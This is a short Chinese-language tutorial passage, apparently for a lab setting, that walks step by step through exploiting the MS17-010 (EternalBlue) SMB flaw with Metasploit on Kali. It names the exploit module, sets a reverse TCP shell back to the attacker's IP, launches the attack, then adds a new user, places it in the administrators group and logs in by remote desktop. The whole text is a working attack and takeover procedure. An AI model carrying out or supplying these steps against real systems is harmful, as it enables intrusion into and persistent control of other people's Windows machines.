（三）使用metasploit进行ms17_010漏洞利用

1、在kali里面打开metasploit漏洞利用框架


2、搜索ms17-010漏洞利用模块


search ms17-010



3、使用利用模块

exploit/windows/smb/ms17_010_eternalblue



4、查看配置项 show options



5、设置 靶机IP地址



6、设置以TCP反弹一个shell回来



7、设置攻击者IP地址



8、实施攻击 exploit



9、可以创建用户 net user xxxx 1234 /add（xxxx用户名 1234密码）



10、net localgroup administrators xxxx /add （将用户添加到管理员组）



11、重新打开一个终端 rdesktop+IP (IP为被攻击的操作系统IP)